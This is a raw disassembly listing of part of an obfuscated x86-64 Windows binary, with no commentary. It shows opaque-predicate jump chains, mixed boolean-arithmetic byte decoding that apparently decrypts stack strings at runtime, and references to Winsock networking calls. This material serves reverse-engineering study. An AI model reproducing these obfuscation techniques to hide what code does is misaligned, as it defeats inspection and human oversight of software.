lea rax, [r8 + 0x10]
cmp rbx, rax
ja 0x1400486ee
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x1400486c5
lea rax, [r8 + 6]
cmp rbx, rax
ja 0x1400486a6
lea rax, [r8 + 0x28]
cmp rbx, rax
ja 0x1400484a0
mov rbx, rcx
lea r8, [rcx + 0x3e8]
jmp 0x1400484a0
lea ecx, [r9 + 0x21]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x19
jmp 0x140048490
lea ecx, [r9 + 0x1b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x43
jmp 0x140048426
add r9b, 0x15
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x6d
jmp 0x1400483d6
lea edx, [r9 - 8]
movzx eax, dl
and al, r10b
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140048d53
sub r9b, 0xe
movzx eax, r9b
and al, r10b
mov ecx, 0x31
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x1400483c3
sub r9b, 0x14
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x74
dec r11
inc r11
jmp 0x1400483c3
lea ecx, [r9 - 0x1a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x4a
jmp 0x140048c86
sub r9b, 0x20
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x20
add rbx, r8
jmp 0x140048d93
sub r9b, 0x26
movzx eax, r10b
and al, r9b
mov ecx, 5
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x140048d93
lea edx, [r9 - 0x2c]
movzx eax, r10b
and al, dl
mov ecx, 0x1a
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x140048dc6
sub r9b, 0x32
movzx eax, r10b
and al, r9b
mov ecx, 0x2f
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x140048df0
sub r9b, 0x38
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x78
movzx eax, byte [rbp + r11 + 0x10]
add rax, r8
add r11, rax
inc r11
jmp 0x1400483c3
add r9b, 0x39
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0x71
mov byte [rbp + r11 + 0x10], dil
inc r11
jmp 0x1400483c3
lea edx, [r9 + 0x33]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x65
add dil, dl
cmp r8, 0x20
jb 0x1400487ef
lea edx, [r9 + 0x32]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
lea edi, [rcx + rcx]
jmp 0x140048d53
lea edx, [r9 + 0x2d]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x3b
add dil, dl
cmp rbx, 0x40
jae 0x140048c6d
lea rax, [r8 + 9]
cmp rbx, rax
jbe 0x140048b67
lea edx, [r9 - 0xa]
movzx eax, r10b
and al, dl
mov ecx, 0x23
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
jmp 0x140048813
lea edx, [r9 + 0x27]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x11
add dil, dl
lea rax, [r8 + rbx]
cmp rax, 0x5a
je 0x140048caf
lea rax, [r8 + 0x10]
cmp rbx, rax
jbe 0x140048ade
lea edx, [r9 + 0x37]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
add dil, 0x7f
jmp 0x140048853
add r9b, 0x7a
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x56
movzx eax, byte [rbp + r11 + 0x10]
add rax, r8
add r11, rax
inc r11
jmp 0x1400483c3
add r9b, 0x74
movzx eax, r10b
and al, r9b
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x2c
add dil, r9b
jmp 0x140048df0
lea edx, [r9 + 0x6e]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 2
add dil, dl
jmp 0x140048dc6
add r9b, 0x68
movzx eax, r10b
and al, r9b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x140048d93
add r9b, 0x62
movzx eax, r10b
and al, r9b
mov ecx, 0x29
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
add rbx, r8
jmp 0x140048d93
lea edx, [r9 + 0x5c]
movzx eax, r10b
and al, dl
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
jmp 0x140048c83
add r9b, 0x56
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x5a
dec r11
inc r11
jmp 0x1400483c3
add r9b, 0x50
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x30
inc r8
dec r11
inc r11
jmp 0x1400483c3
lea edx, [r9 + 0x4a]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 6
jmp 0x140048d50
lea rax, [r8 + 8]
cmp rbx, rax
jae 0x140048a2b
lea edx, [r9 - 0x7d]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
add dil, 0x6b
jmp 0x14004889d
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140048a60
add r9b, 0x7e
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x72
movzx eax, byte [rbp + r11 + 0x10]
add rax, r8
add r11, rax
inc r11
jmp 0x1400483c3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140048a89
sub r9b, 0x7c
movzx eax, r10b
and al, r9b
mov ecx, 0x32
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x140048df0
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140048aae
lea edx, [r9 - 0x64]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x44
jmp 0x140048c83
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x1400488a0
sub r9b, 0x5e
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x6e
dec r11
inc r11
jmp 0x1400483c3
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140048b03
lea edx, [r9 + 0x3d]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
add dil, 0x55
jmp 0x140048d50
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140048b2e
add r9b, 0x49
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
inc dil
dec r11
inc r11
jmp 0x1400483c3
lea rax, [r8 + 9]
cmp rbx, rax
jne 0x140048856
add r9b, 0x6d
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 5
movzx eax, byte [rbp + r11 + 0x10]
add rax, r8
add r11, rax
inc r11
jmp 0x1400483c3
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140048b9f
sub r9b, 4
movzx eax, r10b
and al, r9b
mov ecx, select
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
movzx eax, byte [rbp + r11 + 0x10]
add rax, r8
add r11, rax
inc r11
jmp 0x1400483c3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140048bc7
lea edx, [r9 + 8]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x38
add dil, dl
jmp 0x140048dc6
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140048bf3
add r9b, 0x14
movzx eax, r10b
and al, r9b
mov ecx, 0x3a
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
add rbx, r8
jmp 0x140048d93
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140048c15
lea edx, [r9 + 0x1a]
movzx eax, r10b
and al, dl
mov ecx, 0x25
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
jmp 0x140048c83
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x140048c44
add r9b, 0x20
movzx eax, r10b
and al, r9b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
dec r11
inc r11
jmp 0x1400483c3
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140048816
lea edx, [r9 + 0x2c]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x34
jmp 0x140048d50
lea edx, [r9 + 0x38]
movzx eax, r10b
and al, dl
movzx ecx, r10b
sub cl, al
add cl, 0x3c
lea edi, [rcx + rcx]
add dil, dl
sub r9b, 0x45
movzx eax, r10b
and al, r9b
add al, al
movzx ecx, dil
sub cl, al
sub cl, 0x1d
add cl, r10b
add cl, r9b
mov byte [rbp + r11 + 0x10], cl
add rbx, r8
jmp 0x140048d93
lea edx, [r9 + 0x3e]
movzx eax, r10b
and al, dl
mov ecx, 0x27
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x140048dc6
sub r9b, 0xb
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0x4d
movzx eax, byte [rbp + r11 + 0x10]
add rax, r8
add r11, rax
inc r11
jmp 0x1400483c3
lea edx, [r9 - 0x17]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x5f
add dil, dl
jmp 0x140048dc6
sub r9b, 0x2f
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0x49
dec r11
inc r11
jmp 0x1400483c3
lea edx, [r9 - 0x3b]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x63
add dil, dl
sub r9b, 0x4b
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
add r10b, 0xd
add r10b, r9b
mov byte [rbp + r11 + 0x10], r10b
inc r8
dec r11
inc r11
jmp 0x1400483c3
lea rcx, [r11 + r14]
movzx eax, cl
and al, dl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x3d
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x1400483c3
lea rcx, [r11 + r12]
and dl, cl
add dl, dl
movzx edi, r10b
sub dil, dl
sub dil, 0x13
add dil, cl
movzx r9d, r11b
sub r9b, 0x3f
movzx eax, r10b
and al, r9b
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x47
add cl, r9b
movzx eax, cl
mov byte [rbp + r11 + 0x10], al
inc r8
add rax, r8
sub r11, rax
lea edx, [r11 + 0x44]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
mov byte [rbp + r11 + 0x10], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x10]
add rax, r8
add r11, rax
inc r11
jmp 0x1400483c3
lea rax, [r11 + r15]
and dl, al
add dl, dl
sub r10b, dl
lea edi, [rax + r10]
add dil, 0x41
movzx eax, byte [rbp + r11 + 0x10]
add rax, r8
add r11, rax
inc r11
jmp 0x1400483c3
add r9b, 0xf
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x69
jmp 0x1400483c0
add r9b, 9
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x3f
jmp 0x1400483b0
lea rdx, [rbp + 0x1792414]
jmp 0x140048ea8
lea rdx, [rbp + 0x1373d97]
jmp 0x140048ea8
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x230]
call fcn.140042a40
mov r14, rax
mov byte [rbp + 0xf0], 0x60
mov byte [rbp + 0xf1], 0x66
mov byte [rbp + 0xf2], 0x63
mov byte [rbp + 0xf3], 0x61
mov byte [rbp + 0xf4], 0x66
mov byte [rbp + 0xf5], 0x62
mov byte [rbp + 0xf6], 0xb6
xor eax, eax
mov qword [rbp + 0xf7], rax
mov word [rbp + 0xff], ax
mov byte [rbp + 0x101], al
movabs r15, 0x1212560318b069c8
movabs r13, 0x5a5bae0f7b7210e8
movabs r12, 0x363702094a113d58
movzx edi, byte [rsp + 0x20]
call fcn.140004750
mov rbx, qword [rax]
call fcn.140004760
mov r8, qword [rax]
xor esi, esi
cmp rsi, 0x12
jae 0x1400499a9
movzx r11d, byte [rbp + rsi + 0xf0]
mov r9d, r11d
nop dword [rax]
cmp rbx, rsi
ja 0x1400499a0
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140048f7c
lea rcx, [rsi + r15]
mov rax, rcx
and rax, r9
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r9
sub dil, 0x78
jmp 0x140048fb6
je 0x140049932
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400498d8
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140049880
lea rax, [r8 + 7]
cmp rbx, rax
je 0x140049860
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140049839
movzx r10d, sil
nop word [rax + rax]
cmp r8, rsi
ja 0x140049997
lea rax, [r8 + 0x10]
cmp rbx, rax
jae 0x140048fee
lea edx, [r10 + 0x68]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x140049030
lea rax, [r8 + 1]
cmp rbx, rax
je 0x1400497f2
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400497c9
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400497aa
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14004978a
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140049744
nop
lea rdx, [r8 + rbx]
cmp rdx, rsi
jbe 0x140049484
nop dword [rax]
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x140049476
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x140049450
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14004942d
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x14004951f
lea rax, [r8 + 9]
cmp rbx, rax
je 0x140049410
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x1400493f3
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400493d8
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x1400493bb
lea rbx, [r8 + 0x7a]
lea r8, [rbx + 2]
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x14004997a
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x14004995d
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x1400491e5
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x1400491ca
lea rax, [r8 + 0x7a]
cmp rbx, rax
jb 0x1400491af
lea rax, [r8 + 1]
cmp rbx, rax
jb 0x140049376
lea rcx, [r8 + 0x20]
cmp rbx, rcx
jb 0x140049333
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x140049308
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x140049040
mov rbx, rcx
lea r8, [rcx + 0x80]
lea rax, [r8 + 0x61]
cmp rcx, rax
ja 0x1400492da
lea rax, [r8 + 6]
cmp rcx, rax
ja 0x1400492bd
lea rax, [r8 + 0x80]
cmp rcx, rax
ja 0x1400492a2
lea rax, [r8 + 0x10]
cmp rcx, rax
ja 0x140049285
lea rax, [r8 + 0x1000]
cmp rcx, rax
ja 0x140049270
lea rax, [r8 + 5]
cmp rcx, rax
ja 0x140049251
lea rax, [r8 + 0x64]
cmp rcx, rax
ja 0x14004922b
lea rax, [r8 + 0x2a]
cmp rcx, rax
ja 0x140049202
lea rbx, [r8 + 0xa]
lea r8, [rbx + 0x42]
jmp 0x140049040
lea ecx, [r10 - 0x68]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x28
jmp 0x140049030
lea ecx, [r10 + 8]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x38
jmp 0x140048fc0
add r10b, 0x78
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edi, [r11 + r10]
sub dil, 0x48
jmp 0x140048f50
sub r10b, 0x50
movzx eax, r10b
and al, r11b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r11b
inc r8
dec rsi
inc rsi
jmp 0x140048f33
add r10b, 0x20
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r11b
dec rsi
inc rsi
jmp 0x140048f33
lea edx, [r10 - 0x70]
movzx eax, dl
and al, r11b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x14004989a
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edi, [r10 + r11]
jmp 0x1400498bc
add r10b, 0x70
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edi, [r11 + r10]
sub dil, 0x10
jmp 0x1400498bf
lea ecx, [r10 - 0x20]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x20
jmp 0x14004975a
add r10b, 0x50
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edi, [r11 + r10]
sub dil, 0x30
jmp 0x1400498ee
sub r10b, 0x40
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edi, [r11 + r10]
sub dil, 0x40
movzx eax, byte [rbp + rsi + 0xf0]
add rax, r8
add rsi, rax
inc rsi
jmp 0x140048f33
sub r10b, 0x28
movzx eax, r10b
and al, r11b
mov ecx, recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r11b
mov byte [rbp + rsi + 0xf0], dil
inc rsi
jmp 0x140048f33
lea edx, [r10 + 0x48]
movzx eax, dl
and al, r11b
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
cmp r8, 0x400
jb 0x140049323
lea ecx, [r10 - 0x50]
movzx eax, cl
and al, r11b
mov edx, 0x18
sub dl, al
add dl, dl
add dl, cl
add dl, r11b
lea edi, [rdx + rdx]
jmp 0x14004980c
lea ecx, [r10 - 0x48]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 8
cmp rbx, 0x61
jae 0x14004970d
lea rax, [r8 + 1]
cmp rbx, rax
jbe 0x14004962e
lea ecx, [r10 + 0x10]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x70
jmp 0x14004934d
sub r10b, 0x20
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edi, [r11 + r10]
sub dil, 0x20
jmp 0x1400498ee
lea ecx, [r10 + 0x50]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x30
jmp 0x14004975a
sub r10b, 0x40
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edi, [r11 + r10]
sub dil, 0x40
jmp 0x1400498bf
add r10b, 0x30
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edi, [r11 + r10]
sub dil, 0x50
jmp 0x1400498bc
add r10b, 0x10
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edi, [r11 + r10]
sub dil, 0x70
dec rsi
inc rsi
jmp 0x140048f33
add r10b, 0x80
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edi, [r11 + r10]
add dil, 0x80
inc r8
dec rsi
inc rsi
jmp 0x140048f33
lea edx, [r10 - 0x10]
mov ecx, gethostname
jmp 0x1400497fb
lea r9, [r8 + 1]
lea rax, [r8 + 0x400]
cmp rbx, rax
jae 0x1400494e0
lea ecx, [r10 - 0x38]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x78
cmp rdx, 8
je 0x14004972b
lea rax, [r8 + 0x28]
cmp rbx, rax
jbe 0x14004958e
lea edx, [r10 - 0x58]
movzx eax, dl
and al, r11b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x14004938c
cmp rbx, r9
jne 0x140049516
sub r10b, 0x30
movzx eax, r10b
and al, r11b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r11b
movzx eax, byte [rbp + rsi + 0xf0]
add rax, r8
add rsi, rax
inc rsi
jmp 0x140048f33
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14004953a
lea ecx, [r10 - 0x60]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x60
jmp 0x14004989a
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x140049566
add r10b, 0x30
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edi, [r11 + r10]
sub dil, 0x50
dec rsi
inc rsi
jmp 0x140048f33
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x1400494aa
lea ecx, [r10 + 0x50]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x30
jmp 0x14004980c
cmp rbx, r9
jne 0x1400495a1
lea edx, [r10 + 0x38]
mov ecx, 0x3c
jmp 0x1400497fb
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400495cd
add r10b, 0x58
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edi, [r11 + r10]
sub dil, 0x68
dec rsi
inc rsi
jmp 0x140048f33
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400495f3
add r10b, 0x28
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edi, [r11 + r10]
sub dil, 0x18
jmp 0x1400498ee
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14004938c
sub r10b, 0x48
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edi, [r11 + r10]
sub dil, 8
movzx eax, byte [rbp + rsi + 0xf0]
add rax, r8
add rsi, rax
inc rsi
jmp 0x140048f33
jne 0x14004965e
sub r10b, 0x60
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edi, [r11 + r10]
sub dil, 0x60
movzx eax, byte [rbp + rsi + 0xf0]
add rax, r8
add rsi, rax
inc rsi
jmp 0x140048f33
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140049684
add r10b, 0x30
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edi, [r11 + r10]
sub dil, 0x50
jmp 0x1400498ee
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400496aa
add r10b, 0x50
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edi, [r11 + r10]
sub dil, 0x30
jmp 0x1400498bf
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400496ce
lea ecx, [r10 + 0x70]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x10
jmp 0x14004989a
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x1400496f2
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edi, [r10 + r11]
dec rsi
inc rsi
jmp 0x140048f33
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14004934d
lea edx, [r10 + 0x20]
mov ecx, reloc.WS2_32.dll_recv
jmp 0x1400497fb
lea edx, [r10 + 0x40]
movzx eax, dl
and al, r11b
movzx ecx, r11b
sub cl, al
add cl, 0x20
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14004989a
lea edx, [r10 - 0x30]
movzx eax, dl
and al, r11b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14004975a
lea ecx, [r10 + 0x58]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x68
sub r10b, 0x68
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x28
add r10b, r11b
movzx eax, r10b
mov byte [rbp + rsi + 0xf0], al
inc r8
add rax, r8
sub rsi, rax
jmp 0x1400498ee
add r10b, 0x38
movzx eax, r10b
and al, r11b
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r11b
jmp 0x1400498bc
lea edx, [r10 - 0x58]
movzx eax, dl
and al, r11b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x14004989a
sub r10b, 0x78
movzx eax, r10b
and al, r11b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r11b
inc r8
dec rsi
inc rsi
jmp 0x140048f33
lea edx, [r10 - 8]
mov ecx, 0x1c
movzx eax, dl
and al, r11b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
add r10b, 0x78
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x48
add r10b, r11b
mov byte [rbp + rsi + 0xf0], r10b
inc r8
dec rsi
inc rsi
jmp 0x140048f33
lea edx, [rsi + 0x48]
movzx eax, dl
and al, r11b
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
inc r8
dec rsi
inc rsi
jmp 0x140048f33
lea ecx, [rsi - 0x48]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 8
dec rsi
inc rsi
jmp 0x140048f33
movzx r10d, sil
lea ecx, [r10 + 0x28]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x18
add r10b, 8
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x38
add r10b, dil
add r10b, r11b
mov byte [rbp + rsi + 0xf0], r10b
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x140048f33
lea rcx, [rsi + r13]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x58
lea edx, [rsi + 0x60]
movzx eax, r11b
and al, dl
mov ecx, 0x30
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
mov byte [rbp + rsi + 0xf0], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add rsi, rax
movzx eax, byte [rbp + rsi + 0xf0]
add rax, r8
add rsi, rax
inc rsi
jmp 0x140048f33
lea rax, [rsi + r12]
and r9b, al
add r9b, r9b
sub al, r9b
lea edi, [r11 + rax]
sub dil, 0x68
movzx eax, byte [rbp + rsi + 0xf0]
add rax, r8
add rsi, rax
inc rsi
jmp 0x140048f33
sub r10b, 0x18
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edi, [r11 + r10]
sub dil, 0x58
jmp 0x140048f31
add r10b, 0x58
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edi, [r11 + r10]
sub dil, 0x68
jmp 0x140048f21
lea rdx, [rbp + 0x1471350]
jmp 0x1400499b0
lea rdx, [rbp + 0xb77d18]
jmp 0x1400499b0
lea rdx, [rbp + 0xf0]
lea rcx, [rbp + 0x250]
call fcn.140042a40
nop
mov rdx, r14
mov rcx, rax
call fcn.1400445c0
lea rax, [rbp + 0x270]
mov qword [rsp + 0x38], rax
mov byte [rbp + 0x50], 0x25
mov byte [rbp + 0x51], 0xc4
mov byte [rbp + 0x52], 0x30
mov byte [rbp + 0x53], 0xc0
mov byte [rbp + 0x54], 0xd6
mov byte [rbp + 0x55], 0xd2
mov byte [rbp + 0x56], 0x1a
mov byte [rbp + 0x57], 0xd4
mov byte [rbp + 0x58], 0xc6
mov byte [rbp + 0x59], 0xd6
mov byte [rbp + 0x5a], 0x4c
xor eax, eax
mov qword [rbp + 0x5b], rax
movabs rsi, 0x89a5190cf8f642cd
movabs r15, 0xc383af5acebbd39b
movabs r14, 0x9cef4b26eae2c867
movzx edi, byte [rsp + 0x20]
nop dword [rax]
call fcn.140004750
mov rbx, qword [rax]
call fcn.140004760
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x13
jae 0x14004a4e5
movzx r10d, byte [rbp + r11 + 0x50]
mov edx, r10d
cmp rbx, r11
ja 0x14004a4dc
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140049a82
lea rcx, [r11 + rsi]
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
add dil, 0x65
jmp 0x140049aaf
je 0x14004a473
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14004a3f1
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14004a39c
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14004a358
movzx r9d, r11b
cmp r8, r11
ja 0x14004a4d3
lea rax, [r8 + 0x61]
cmp rbx, rax
jae 0x140049add
lea ecx, [r9 - 0x2f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x49
jmp 0x140049b11
lea rax, [r8 + 1]
